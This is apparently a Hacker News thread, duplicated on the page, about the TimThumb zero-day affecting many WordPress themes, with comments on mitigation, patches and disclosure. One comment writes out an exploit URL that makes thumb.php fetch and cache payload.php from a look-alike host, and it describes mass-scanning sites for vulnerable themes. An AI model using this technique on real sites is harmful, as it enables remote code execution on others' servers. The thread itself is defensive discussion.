6 ms·

Zero Day Vulnerability in many Wordpress Themes

128 points by d2 15y ago

hluska 15y ago
Thanks for posting this!
muppetman 15y ago
Great writeup. It's clear, it's concise and it's not overly dramatic. Thanks for taking the time to write this up and share it. I have invested a bit of time installing and tuning mod_security. I'd love to know how it'd have faired against this attack, probably it wouldn't have stopped the upload, but it might have stopped a lot of payload/control commands from working.
- joelhaasnoot 15y ago
  While it's concise and not overly dramatic, lots of people run Wordpress on shared hosting. That generally means they don't have SSH access and the instructions are harder to follow... It needs a "for beginners" section on how to check and accomplish the steps.
  - muppetman 15y ago
    Valid point.
- code_duck 15y ago
  I invest time in doing things like looking over any third party libraries for stuff like this, too. The quality of the average WordPress plugin is quite low, and I'm surprised we don't hear about issues like this more often.
cosgroveb 15y ago
My WP theme is from WooThemes and it includes "thumb.php" which upon inspection is timthumb.php. The blog post says to patch this you should remove the list from the allowedSites variable which I have done... I'll look at this more tomorrow but just FYI!
- mrspeaker 15y ago
  Errm, you should probably do that today - and check for the presence of base64 encoded images - now that you told the world about it ;)
  - cosgroveb 15y ago
    Did that too.
ecaron 15y ago
The worst part of reading this post is encountering this search result - http://www.google.com/search?q=Alucar+shell http://www.google.com/search?q=Alucar+shell
patio11 15y ago
A mitigation for this sort of thing: your Wordpress installations can be owned by someone other than the webserver, with 644/655 permissions. This will prevent folks from uploading arbitrary code (through any of the NUMEROUS plugins/themes with a vulnerability that allows them to do that), and also prevents folks from appending malicious code to known files.
- d2 15y ago
  Problem is that then you can't auto install themes, auto update wordpress - and the script causing this vulnerability requires a writable cache directory under the wordpress root.
  - patio11 15y ago
    Yes, turning off the ability to execute arbitrary code on your server through your web browser will, indeed, turn off the ability to execute arbitrary code on your server through your web browser. I think that is a misfeature: if executing arbitrary code on your server could potentially do damage to your business (hint: yes), you should be SSHing into a terminal to do it. That combo will be 500,000x more effective at securing your box than the best efforts of Wordpress, PHP, and the fifteen year-old designer who coded your lightbox plugin after Googling "How to find file name in PHP". See also my comments last week about the (lack of) wisdom in embedding a ruby shell in a web application.
    - dave1010uk 15y ago
      Turning off the ability to execute arbirary code on your server through your webserver will also stop WordPress from being able to get security updates out to the millions of sites using it. While I much prefer going through SHH to manage my sites, there are likely 10x as many WP sites run by people who can only FTP. There isn't really an ideal solution in this situation (apart from education) so I think allowing easy updates by having weaker security may be best. Maybe there is a better solution that still works for FTP. If so, file a ticket. The WordPress Codex is a wiki and it looks like the docs on security could do with some improvements - sign up and help out.
sogrady 15y ago
FWIW, I had two separate running instances of timthumb.php, but neither contained the $allowedSites array.
- inconditus 15y ago
  What version are you running?
- dangrossman 15y ago
  I had a few copies from old WooThemes themes as well, and the copy of thumb.php included didn't have such an external sites list/feature either.
  - ScottWhigham 15y ago
    Same here
lfx 15y ago
But to use this vulnerability at first cracker have to have registered user? Or there are other way to upload images?
- nbpoole 15y ago
  No. The timthumb.php script can be accessed directly by unauthenticated users.
- patio11 15y ago
  No, you can execute the script directly if you know or can guess the location of it, straight through your web browser. Accessing http://www.example.com/wordpress/wp-content/ themes/vulnerable-theme/thumb.php?src=flickr.com.example.org/payload.php is sufficient to cause it to download payload.php and cache it. Afterwards, you can access the PHP file in the same manner to execute it. One could trivially make a list of signatures for vulnerable themes (for example, all the ones I paid for from a certain prominent Wordpress themes company), and then exploit any website whose main page matched a signature. Alternatively, you could just speculatively hit a few hundred URLs on every domain you found.
  - teyc 15y ago
    Is there any reason why a check on the extension wouldn't solve the problem? $fileDetails = pathinfo($src); $ext = strtolower($fileDetails['extension']);
    - dave1010uk 15y ago
      On a CubeCart pluggin that had the same flaw as the timthumb.php one, I whitelisted image file extensions. This should work, as long as there aren't and local file include vulnerabilities in the site. This still allows the attacker to host images on your site though.
      - teyc 15y ago
        > This still allows the attacker to host images on your site though. Well put. Probably best to remove allowed hosts altogether.
qeorge 15y ago
FWIW: We had an older version of timthumb which uses preg_match instead of strpos, but suffers from the same flaw. The relevant line looks like this: if (preg_match($site, $url_info['host']) == true) { Good catch, Mark.
- teyc 15y ago
  I have a version that does this: function clean_source ( $src ) { // remove http/ https/ ftp $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src); // remove domain name from the source url $host = $_SERVER["HTTP_HOST"]; $src = str_replace($host, "", $src); $host = str_replace("www.", "", $host); $src = str_replace($host, "", $src); This version doesn't allow external sources at all by the look of it.
tansey 15y ago
Very good find! Thank you for sharing. I bought my theme from Theme Forest and it has this vulnerability. If you have a theme that you've purchased and contains this file, it would be helpful to post this on the theme's support forum.
quizbiz 15y ago
Could Wordpress issue an update to patch this?
- patio11 15y ago
  Wordpress gets no opportunity to execute a single line of code at any point in this process. TimThumb can be executed without needing to go through Wordpress at any point. The only relevance of Wordpress to this is that many Wordpress themes happen to ship with TimThumb. If you have a Wordpress theme installed on your server (note: activation not required!) which ships with it, you are vulnerable. Wordpress could theoretically intercept calls to PHP files below its own root, but that would be a breaking change for a LOT of code and sites.
- ck2 15y ago
  timthumb executes outside of wordpress, it's directly called via the the url
- iuguy 15y ago
  The problem is that timbthumb.php is usually contained within themes or plugins. There's quite a few small php libraries with little insecurities dotted all around the web and sometimes theme and plugin developers tend to use a version and stick with it. Realistically the best thing that could happen is that plugins like WP-Security Scan could check for timbthumb.php's presence and warn you.
teyc 15y ago
I wonder if it would be better if he disclosed this to the theme vendors.
- deleted 15y ago
  [deleted]
- code_duck 15y ago
  Exactly what I thought upon reading "The current version of timthumb has this issue. Since it’s already in the wild and I just got hacked by it, I figure it’s ok to release the vulnerability to the general public."
  - dangrossman 15y ago
    There's no other way to inform most people about the problem. There's several thousand free WordPress themes in the wild, and obtaining them does not involve getting on the developers' mailing lists or otherwise being contact-able. Even if it was possible to notify every theme developer that may be including timthumb in their theme, those developers would have no way to notify the end users.
- dangrossman 15y ago
  That's not really possible. There are well over 1,000 different theme authors in the WordPress theme directory alone.
  - teyc 15y ago
    The commercial theme vendors probably have a mailing list. I hope they'd contact their clients straight away. This is turning out to be a rather big hole.
deleted 15y ago
[deleted]
ck2 15y ago
Also note that it doesn't even have to be an active theme - since timthumb.php executes directly and not through wordpress.
iuguy 15y ago
I did a series on talks on Wordpress security earlier this year at OWASP London and AppSec EU. Sadly the AppSec slides were lost but the OWASP slides are still there for anyone interested: https://www.owasp.org/images/d/db/Wordpress-security-ext.pdf https://www.owasp.org/images/d/db/Wordpress-security-ext.pdf
- gbrindisi 15y ago
  Thanks really interesting read!
mildweed 15y ago
This affects not just themes, but plugins too. Its in the vslider plugin I've used in multiple installs.
davidw 15y ago
As someone relatively new to Wordpress, I use a hosted instance from Wordpress.com. How do they handle things like this, and security in general?
- code_duck 15y ago
  This is a vulnerability in a third party script often used in Wordpress themes. It's not related to Wordpress.com.
  - davidw 15y ago
    Ok, but I am able to select themes in my site on wordpress.com. Maybe it's a stupid question, but I'd rather ask it than wonder.
    - code_duck 15y ago
      This concerns user/third party authored WordPress themes for the WordPress.org software. WordPress.com is hosted and administrated by Automattic, and they handle security like any other application provider. It's not likely that Wordpress.com is using this resizing script and if they were, you as a user would not have to take any action to fix it (and couldn't do so, anyway)
billpg 15y ago
> 1. SSH into your web server. That's not an option on a surprising number of web hosts offering PHP hosting. You'd have to find the file using FTP instead.
adamzap 15y ago
v1.34 fixes this, right? The author committed it this morning. http://code.google.com/p/timthumb/source/list http://code.google.com/p/timthumb/source/list
rozim 15y ago
I used to see so many security problems with xmlrpc.php, and never used the functionality, so I put in a cron job entry that did this for all blogs I had hosted: mv PATH/xmlrpc.php PATH/xmlrpc.php.nope chmod 000 PATH/xmlrpc.php.nope something like once an hour in case I upgraded and forgot to secure the site.
headShrinker 15y ago
Shameless self promotion of image resizer code... http://www.nkdv.co/code/do/resize http://www.nkdv.co/code/do/resize php resize crop and cache source.

128 points by d2 15y ago

Thanks for posting this!

Great writeup. It's clear, it's concise and it's not overly dramatic. Thanks for taking the time to write this up and share it. I have invested a bit of time installing and tuning mod_security. I'd love to know how it'd have faired against this attack, probably it wouldn't have stopped the upload, but it might have stopped a lot of payload/control commands from working.

joelhaasnoot 15y ago
While it's concise and not overly dramatic, lots of people run Wordpress on shared hosting. That generally means they don't have SSH access and the instructions are harder to follow... It needs a "for beginners" section on how to check and accomplish the steps.
- muppetman 15y ago
  Valid point.
code_duck 15y ago
I invest time in doing things like looking over any third party libraries for stuff like this, too. The quality of the average WordPress plugin is quite low, and I'm surprised we don't hear about issues like this more often.

cosgroveb 15y ago

My WP theme is from WooThemes and it includes "thumb.php" which upon inspection is timthumb.php. The blog post says to patch this you should remove the list from the allowedSites variable which I have done... I'll look at this more tomorrow but just FYI!

mrspeaker 15y ago
Errm, you should probably do that today - and check for the presence of base64 encoded images - now that you told the world about it ;)
- cosgroveb 15y ago
  Did that too.

ecaron 15y ago

The worst part of reading this post is encountering this search result - http://www.google.com/search?q=Alucar+shell http://www.google.com/search?q=Alucar+shell

patio11 15y ago

A mitigation for this sort of thing: your Wordpress installations can be owned by someone other than the webserver, with 644/655 permissions. This will prevent folks from uploading arbitrary code (through any of the NUMEROUS plugins/themes with a vulnerability that allows them to do that), and also prevents folks from appending malicious code to known files.

d2 15y ago
Problem is that then you can't auto install themes, auto update wordpress - and the script causing this vulnerability requires a writable cache directory under the wordpress root.
- patio11 15y ago
  Yes, turning off the ability to execute arbitrary code on your server through your web browser will, indeed, turn off the ability to execute arbitrary code on your server through your web browser. I think that is a misfeature: if executing arbitrary code on your server could potentially do damage to your business (hint: yes), you should be SSHing into a terminal to do it. That combo will be 500,000x more effective at securing your box than the best efforts of Wordpress, PHP, and the fifteen year-old designer who coded your lightbox plugin after Googling "How to find file name in PHP". See also my comments last week about the (lack of) wisdom in embedding a ruby shell in a web application.
  - dave1010uk 15y ago
    Turning off the ability to execute arbirary code on your server through your webserver will also stop WordPress from being able to get security updates out to the millions of sites using it. While I much prefer going through SHH to manage my sites, there are likely 10x as many WP sites run by people who can only FTP. There isn't really an ideal solution in this situation (apart from education) so I think allowing easy updates by having weaker security may be best. Maybe there is a better solution that still works for FTP. If so, file a ticket. The WordPress Codex is a wiki and it looks like the docs on security could do with some improvements - sign up and help out.

sogrady 15y ago

FWIW, I had two separate running instances of timthumb.php, but neither contained the $allowedSites array.

inconditus 15y ago
What version are you running?
dangrossman 15y ago
I had a few copies from old WooThemes themes as well, and the copy of thumb.php included didn't have such an external sites list/feature either.
- ScottWhigham 15y ago
  Same here

lfx 15y ago

But to use this vulnerability at first cracker have to have registered user? Or there are other way to upload images?

nbpoole 15y ago
No. The timthumb.php script can be accessed directly by unauthenticated users.
patio11 15y ago
No, you can execute the script directly if you know or can guess the location of it, straight through your web browser. Accessing http://www.example.com/wordpress/wp-content/ themes/vulnerable-theme/thumb.php?src=flickr.com.example.org/payload.php is sufficient to cause it to download payload.php and cache it. Afterwards, you can access the PHP file in the same manner to execute it. One could trivially make a list of signatures for vulnerable themes (for example, all the ones I paid for from a certain prominent Wordpress themes company), and then exploit any website whose main page matched a signature. Alternatively, you could just speculatively hit a few hundred URLs on every domain you found.
- teyc 15y ago
  Is there any reason why a check on the extension wouldn't solve the problem? $fileDetails = pathinfo($src); $ext = strtolower($fileDetails['extension']);
  - dave1010uk 15y ago
    On a CubeCart pluggin that had the same flaw as the timthumb.php one, I whitelisted image file extensions. This should work, as long as there aren't and local file include vulnerabilities in the site. This still allows the attacker to host images on your site though.
    - teyc 15y ago
      > This still allows the attacker to host images on your site though. Well put. Probably best to remove allowed hosts altogether.

qeorge 15y ago

FWIW: We had an older version of timthumb which uses preg_match instead of strpos, but suffers from the same flaw. The relevant line looks like this: if (preg_match($site, $url_info['host']) == true) { Good catch, Mark.

teyc 15y ago
I have a version that does this: function clean_source ( $src ) { // remove http/ https/ ftp $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src); // remove domain name from the source url $host = $_SERVER["HTTP_HOST"]; $src = str_replace($host, "", $src); $host = str_replace("www.", "", $host); $src = str_replace($host, "", $src); This version doesn't allow external sources at all by the look of it.

tansey 15y ago

Very good find! Thank you for sharing. I bought my theme from Theme Forest and it has this vulnerability. If you have a theme that you've purchased and contains this file, it would be helpful to post this on the theme's support forum.

quizbiz 15y ago

Could Wordpress issue an update to patch this?

patio11 15y ago
Wordpress gets no opportunity to execute a single line of code at any point in this process. TimThumb can be executed without needing to go through Wordpress at any point. The only relevance of Wordpress to this is that many Wordpress themes happen to ship with TimThumb. If you have a Wordpress theme installed on your server (note: activation not required!) which ships with it, you are vulnerable. Wordpress could theoretically intercept calls to PHP files below its own root, but that would be a breaking change for a LOT of code and sites.
ck2 15y ago
timthumb executes outside of wordpress, it's directly called via the the url
iuguy 15y ago
The problem is that timbthumb.php is usually contained within themes or plugins. There's quite a few small php libraries with little insecurities dotted all around the web and sometimes theme and plugin developers tend to use a version and stick with it. Realistically the best thing that could happen is that plugins like WP-Security Scan could check for timbthumb.php's presence and warn you.

teyc 15y ago

I wonder if it would be better if he disclosed this to the theme vendors.

deleted 15y ago
[deleted]
code_duck 15y ago
Exactly what I thought upon reading "The current version of timthumb has this issue. Since it’s already in the wild and I just got hacked by it, I figure it’s ok to release the vulnerability to the general public."
- dangrossman 15y ago
  There's no other way to inform most people about the problem. There's several thousand free WordPress themes in the wild, and obtaining them does not involve getting on the developers' mailing lists or otherwise being contact-able. Even if it was possible to notify every theme developer that may be including timthumb in their theme, those developers would have no way to notify the end users.
dangrossman 15y ago
That's not really possible. There are well over 1,000 different theme authors in the WordPress theme directory alone.
- teyc 15y ago
  The commercial theme vendors probably have a mailing list. I hope they'd contact their clients straight away. This is turning out to be a rather big hole.

deleted 15y ago

[deleted]

ck2 15y ago

Also note that it doesn't even have to be an active theme - since timthumb.php executes directly and not through wordpress.

iuguy 15y ago

I did a series on talks on Wordpress security earlier this year at OWASP London and AppSec EU. Sadly the AppSec slides were lost but the OWASP slides are still there for anyone interested: https://www.owasp.org/images/d/db/Wordpress-security-ext.pdf https://www.owasp.org/images/d/db/Wordpress-security-ext.pdf

gbrindisi 15y ago
Thanks really interesting read!

mildweed 15y ago

This affects not just themes, but plugins too. Its in the vslider plugin I've used in multiple installs.

davidw 15y ago

As someone relatively new to Wordpress, I use a hosted instance from Wordpress.com. How do they handle things like this, and security in general?

code_duck 15y ago
This is a vulnerability in a third party script often used in Wordpress themes. It's not related to Wordpress.com.
- davidw 15y ago
  Ok, but I am able to select themes in my site on wordpress.com. Maybe it's a stupid question, but I'd rather ask it than wonder.
  - code_duck 15y ago
    This concerns user/third party authored WordPress themes for the WordPress.org software. WordPress.com is hosted and administrated by Automattic, and they handle security like any other application provider. It's not likely that Wordpress.com is using this resizing script and if they were, you as a user would not have to take any action to fix it (and couldn't do so, anyway)

billpg 15y ago

> 1. SSH into your web server. That's not an option on a surprising number of web hosts offering PHP hosting. You'd have to find the file using FTP instead.

adamzap 15y ago

v1.34 fixes this, right? The author committed it this morning. http://code.google.com/p/timthumb/source/list http://code.google.com/p/timthumb/source/list

rozim 15y ago

I used to see so many security problems with xmlrpc.php, and never used the functionality, so I put in a cron job entry that did this for all blogs I had hosted: mv PATH/xmlrpc.php PATH/xmlrpc.php.nope chmod 000 PATH/xmlrpc.php.nope something like once an hour in case I upgraded and forgot to secure the site.

headShrinker 15y ago

Shameless self promotion of image resizer code... http://www.nkdv.co/code/do/resize http://www.nkdv.co/code/do/resize php resize crop and cache source.